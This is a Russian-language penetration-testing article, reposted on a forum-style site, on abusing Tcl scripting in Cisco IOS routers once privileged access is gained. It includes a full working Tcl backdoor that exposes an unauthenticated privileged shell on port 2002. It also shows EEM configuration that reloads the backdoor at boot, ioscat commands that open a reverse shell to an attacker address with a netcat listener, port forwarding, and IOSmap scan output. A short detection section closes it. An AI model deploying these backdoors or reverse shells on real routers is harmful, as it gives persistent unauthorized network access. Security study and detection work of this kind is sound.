| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 13.59.135.139
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 php libc rand() эксплоит Windows Server 2008 FreeBSD Jail Elastix QIP Virtual chroot Limit kernel proc sysctl Tune freeBSD bridge Boot LiveCD Disk Bluetooth GEO game DirectX emulator Python Shell червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных Закон Франция Пират Skype мобильный Deutsche Telekom хакер trend micro кибератака Германия робот Персональные данные Ноутбук Интернет китай цензура windows vista acer Linux патент браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM США Dell Ford MAC контроль Internet кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 взлом Пентагон Украина Facebook Cisco Cloud Windows XP нетбук торрент музыка Биометрический Nokia Hardware Manager ФБР IP-адрес sms RSA java Google Captcha Symantec Спам Антивирус тест Anti-Malware Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети ipod копирайт McAfee HTTPS icann студент Норвегия New York Times YouTube Warner Music КНДР Ubuntu AMD ATI касперский Россия РФ сервер хостинг Wi-Fi суд пароль блог фишинг одноклассники Медведев контрафакт мошенник sony Gps по JavaScript Хакеры Yahoo фас компьютер софт Минкомсвязи Сбой мошенничество Доктор ВЕб Вконтакте ie8 исходный код МВД фильтр порнография свобода слова казахстан Autodesk сисадмин Gmail кредитная карта LiveJournal шифрование Deep Purple банк HTML5 Нанотехнологии wikipedia выборы DNS bind KaZaA Android Basic атака Mac OS X домен ФСБ прокуратура уголовное дело ICQ Sophos Google Voice ошибка DARPA военные сайт турция конференция спамер Полиция Koobface Великобритания IRC белоруссия Грузия Bittorrent Европа Dr.WEB Linux Mint Билл Гейтс спецслужбы Royal Bank of Scotland смартфон Canonical F-Secure Symbian фильм Microsoft Office Новая Зеландия Adobe Австралия IDC Internet Explorer 9 iPad Ирландия поиск GOOGLE EARTH МТС Реклама слежка Mandriva BSD Zeus личные данные eset avast Avira G Data Software защита Defcon виртуализация dll LibreOffice Черный список BlackBerry индия Москва DVD социальные сети flash player paypal BitDefender email сертификат honda MasterCard Anonymous технологии IPv6 Ассанж Оптоволокно передача данных арест Fedora Samsung Иск Apache учетная запись iTunes исследование Cert Санкт-Петербург McDonald's SOPA PIPA Bioshock Infinite: Burial at Sea - ico Megaupload CES hotfile отчет приложение Инвестиции платформа DRM DDoS-атака роскомнадзор

Главная » Статьи » Общие Статьи

Покоряем Cisco: атака через TCL
Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются машрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак с использованием функционала TCL. Сейчас я опишу несколько методов данных атак, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе.

Tcl – (Tool Command Language) – скриптовый язык часто применяемых с графической библиотекой Tk, придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения "пользовательских" скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для следующих действий:
Разработки собственного варианта "бэкдора" с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
Проведения сканирования портов в различных сегментах сети;
Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

Данными методами также может воспользоваться злоумышленник, получив доступ к TFTP-серверу компании, где размещены существующие скрипты и принудительно заменить существующий сценарий на собственный. В этом случае произойдет его загрузка и запуск на маршрутизаторе.
Практикуемся

Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях "Рускрипто CTF 2010".

В первую очередь давай разберем, как работает Tcl на устройствах под управлением IOS.

Загрузка и исполнение TCL-скрипта:

Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 (enable). Скрипт Tcl необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы IOS.

Загрузка скрипта во FLASH и последующее его выполнение:

Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl

Router# tclsh flash://script.tcl

Загрузка скрипта непосредственно с TFTP-сервера:

Router# tclsh tftp://192.168.1.4/script.tcl

Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).

proc callback {sock addr port} {

fconfigure $sock -translation crlf -buffering line

puts $sock "Cisco router admin console:"

puts $sock " "

puts -nonewline $sock "Router# "

flush $sock

fileevent $sock readable [list echo $sock]

}



proc echo {sock} {

global var



flush $sock



if {[catch {gets $sock line}] ||

[eof $sock]} {

return [close $sock]

}



catch {exec $line} result

if {[catch {puts $sock $result}]} {

return [close $sock]

}



puts -nonewline $sock "Router# "

flush $sock

}



set port 2002

set sh [socket -server callback $port]

vwait var

close $sh

После загрузки и последующего запуска вышеприведенного скрипта появится возможность зайти в систему (режим EXEC) без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя (level 15).

[ptsec@maxpatrol ~]$ telnet router 2002

Trying 192.168.1.10...

Connected to router.

Escape character is '^]'.



Cisco router admin console:



Router#

Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением IOS. В первых версиях IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот "патч-фикс" производителя можно обойти несколькими способами:

1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии скрипт завершит свою работу.

Router>en

Router#conf t

Enter configuration commands, one per line. End with CNTL/Z.

Router(config)#line vty 0 4

Router(config-line)#exec-timeout 0 0

2. Производить запуск скрипта с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация, которая загружает скрипт с TFTP после запуска маршрутизатора по истечении 20 секунд.

Router(config)# event manager applet BACKDOOR

Router(config-applet)# event timer countdown name Delay time 20

Router(config-applet)# action 1.0 cli command "enable"

Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"

Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

3. Конвертировать TCL-скрипт в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.
Готовые утилиты

В ряде ситуаций можно использовать готовые скрипты, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL в flash-маршрутизатор или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL на маршрутизатор описана выше.

Примеры реализации:

Организация бэкдора на маршрутизаторе (2002 порт):

Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe

Организация реверсного шелла на адрес атакующего (порт 12345):

Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

(на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)

Проброс удаленного порта на локальный порт маршрутизатора (2002):

Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1
-op80

У данного скрипта есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.

Скрипт с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.

Рассмотрим примеры использования:

Router>en

Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443

Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !

[OK - 15912 bytes]



Loading services.list from 192.168.1.4 (via FastEthernet0/0): !

[OK - 42121 bytes]



Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC



Free Memory on Platform = 29038388 / Memory required for this scan = 2622514



Host 192.168.1.1 is unavailable



Host 192.168.1.2 is unavailable



Host 192.168.1.3 is unavailable



Interesting ports on host 192.168.1.4

PORT STATE SERVICE

20/tcp closed ftp-data

21/tcp closed ftp

22/tcp closed ssh

23/tcp closed telnet

24/tcp closed priv-mail

80/tcp open http

443/tcp closed https



Host 192.168.1.5 is unavailable



Router#

Изменение вариантов сканирования скрипта возможно путем добавления аргументов:

-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.

Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании Cisco Systems.
Методы обнаружения

Имея возможность запускать скрипты, также интересно иметь возможность отследить их исполнение. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:

Router#show processes cpu | i Tcl

212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16



Router#show tcp brief all

TCB Local Address Foreign Address (state)

659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB

654485B4 *.2002 *.* LISTEN

65CA2D04 *.80 *.* LISTEN

Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):

Router#show control-plane host open-ports

Active internet connections (servers and established)

Prot Local Address Foreign Address Service State

tcp *:23 *:0 Telnet LISTEN

tcp *:23 192.168.1.4:1379 Telnet ESTABLIS

tcp *:80 *:0 HTTP CORE LISTEN

tcp *:1234 *:0 Tcl Serv - tty163 LISTEN

Также можно использовать и автоматизированные средства, такие как система контроля защищенности и соответствия стандартам MaxPatrol (доступен для скачивания на ptsecurity.ru).



Категория: Общие Статьи | Добавил: aka_kludge (16.02.2011) | Автор: Ильин Роман (Positive Technologies)
Просмотров: 2353 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

07:07
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2025 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика